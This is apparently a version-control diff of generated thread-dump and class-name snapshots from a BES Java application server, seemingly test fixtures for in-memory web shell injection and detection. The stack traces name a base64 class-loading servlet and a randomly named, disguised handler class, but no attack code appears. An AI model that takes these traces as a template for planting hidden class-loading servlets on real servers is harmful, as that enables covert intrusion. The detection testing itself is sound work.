at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
||||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:229)
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:229)
|
||||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
|
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:48)
|
at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:48)
|
||||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
at EmptyFilter.doFilter(EmptyFilter.java:21)
|
at EmptyFilter.doFilter(EmptyFilter.java:12)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
|
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
|
||||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:194)
|
at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:194)
|
||||||
@@ -477,74 +556,41 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"httpWorkerThread-8080-2" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
"LifecycleThread[com.bes.appserv]-1" #61 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23b28c2c
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_3" #89 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"RetryTimer" #54 daemon [WAITING] on java.util.TaskQueue@3cc56fc1
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Spark_6" #98 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
at java.lang.Object.wait(Native Method)
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
at java.lang.Object.wait(Object.java:502)
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
at java.util.TimerThread.mainLoop(Timer.java:526)
|
||||||
|
at java.util.TimerThread.run(Timer.java:505)
|
||||||
|
|
||||||
"AsyncTimeoutThread-1900" #83 daemon [TIMED_WAITING]
|
"SelectorReaderThread-1900-1" #75 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: RUNNABLE
|
||||||
at java.lang.Thread.sleep(Native Method)
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169)
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"Common Lib Watcher" #15 daemon [TIMED_WAITING]
|
"AcceptorThread-1900-1" #76 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:91)
|
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[/sysapp]]" #89 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Spark_1" #93 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
|
||||||
|
|
||||||
"Stateful cache" #65 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a3bf06f
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"RMI Scheduler(0)" #103 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e258731
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"AcceptorThread-1900-1" #82 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||||
@@ -552,7 +598,7 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504)
|
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"jmsra-WorkerThread-3" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35
|
"httpWorkerThread-8080-5" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -566,7 +612,45 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"httpWorkerThread-8080-1" #73 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
"SelectorReaderThread-8080-1" #78 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"RMI TCP Accept-6600" #94 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||||
|
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||||
|
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||||
|
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"bes-deployment-scheduled-executor-thread." #84 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@46f1b5d7
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"AsyncTimeoutThread-1900" #77 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-4" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -580,13 +664,22 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"Spark_5" #97 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
"KeepAliveTimer" #60 daemon [TIMED_WAITING] on java.util.TaskQueue@239afe19
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at java.lang.Object.wait(Native Method)
|
at java.lang.Object.wait(Native Method)
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
at java.util.TimerThread.run(Timer.java:505)
|
||||||
|
|
||||||
"RMI TCP Connection(2)-192.168.215.4" #105 daemon [RUNNABLE]
|
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
|
||||||
|
"LogFileManager.EventManager" #52 daemon [WAITING] on java.lang.Object@147ed5aa
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:502)
|
||||||
|
at com.bes.org.objectweb.howl.log.LogFileManager$EventManager.run(LogFileManager.java:1236)
|
||||||
|
|
||||||
|
"RMI TCP Connection(2)-172.17.0.3" #99 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||||
@@ -598,106 +691,21 @@ ThreadStacks:
|
|||||||
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/725479086.run(Unknown Source)
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1137156990.run(Unknown Source)
|
||||||
at java.security.AccessController.doPrivileged(Native Method)
|
at java.security.AccessController.doPrivileged(Native Method)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"RMI Reaper" #101 [WAITING] on java.lang.ref.ReferenceQueue$Lock@439db8d
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
|
||||||
at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"AsyncTimeoutThread-8080" #86 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"bes-deployment-scheduled-executor-thread." #90 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@56ae9154
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"LogFileManager.EventManager" #58 daemon [WAITING] on java.lang.Object@4383bb66
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.Object.wait(Object.java:502)
|
|
||||||
at com.bes.org.objectweb.howl.log.LogFileManager$EventManager.run(LogFileManager.java:1236)
|
|
||||||
|
|
||||||
"RMI RenewClean-[192.168.215.4:6600]" #104 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@712da028
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
|
||||||
at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"jmsra-WorkerThread-2" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"KeepAliveTimer" #66 daemon [TIMED_WAITING] on java.util.TaskQueue@3b02e833
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
|
||||||
at java.util.TimerThread.run(Timer.java:505)
|
|
||||||
|
|
||||||
"httpWorkerThread-1900-2" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@1984fa36
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.Object.wait(Object.java:502)
|
|
||||||
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
|
||||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
|
||||||
|
|
||||||
"RetryTimer" #60 daemon [WAITING] on java.util.TaskQueue@47823aeb
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.Object.wait(Object.java:502)
|
|
||||||
at java.util.TimerThread.mainLoop(Timer.java:526)
|
|
||||||
at java.util.TimerThread.run(Timer.java:505)
|
|
||||||
|
|
||||||
|
|
||||||
===========================================
|
===========================================
|
||||||
|
|
||||||
StackClassNames:
|
StackClassNames:
|
||||||
Base64ClassLoaderServlet
|
Base64ClassLoaderServlet
|
||||||
EmptyFilter
|
EmptyFilter
|
||||||
|
ServletNameTestFilter
|
||||||
|
UrlMappingTestFilter
|
||||||
com.bes.ejb.spark.tcp.threadpool.PreSelector
|
com.bes.ejb.spark.tcp.threadpool.PreSelector
|
||||||
com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl
|
com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl
|
||||||
com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl
|
com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl
|
||||||
@@ -736,4 +744,4 @@ com.bes.enterprise.webtier.core.DefaultWrapperValve
|
|||||||
com.bes.enterprise.webtier.valves.ErrorReportValve
|
com.bes.enterprise.webtier.valves.ErrorReportValve
|
||||||
com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager
|
com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager
|
||||||
com.bes.org.objectweb.howl.log.LogFileManager$EventManager
|
com.bes.org.objectweb.howl.log.LogFileManager$EventManager
|
||||||
com.google.gso.IyIWG.ErrorHandler
|
com.google.gso.kctIl.ErrorGmnwfHandler
|
||||||
|
|||||||
@@ -1,475 +0,0 @@
|
|||||||
# Generated At 2025-12-08 15:18:17
|
|
||||||
SystemProps:
|
|
||||||
java.vendor: Temurin
|
|
||||||
sun.java.launcher: SUN_STANDARD
|
|
||||||
catalina.base: /usr/local/tomcat
|
|
||||||
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
|
||||||
catalina.useNaming: true
|
|
||||||
os.name: Linux
|
|
||||||
sun.boot.class.path: /opt/java/openjdk/lib/resources.jar:/opt/java/openjdk/lib/rt.jar:/opt/java/openjdk/lib/sunrsasign.jar:/opt/java/openjdk/lib/jsse.jar:/opt/java/openjdk/lib/jce.jar:/opt/java/openjdk/lib/charsets.jar:/opt/java/openjdk/lib/jfr.jar:/opt/java/openjdk/classes
|
|
||||||
java.util.logging.config.file: /usr/local/tomcat/conf/logging.properties
|
|
||||||
org.apache.el.GET_CLASSLOADER_USE_PRIVILEGED: false
|
|
||||||
java.vm.specification.vendor: Oracle Corporation
|
|
||||||
java.runtime.version: 1.8.0_402-b06
|
|
||||||
user.name: root
|
|
||||||
tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-taglib*.jar,log4j-web*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
|
||||||
shared.loader:
|
|
||||||
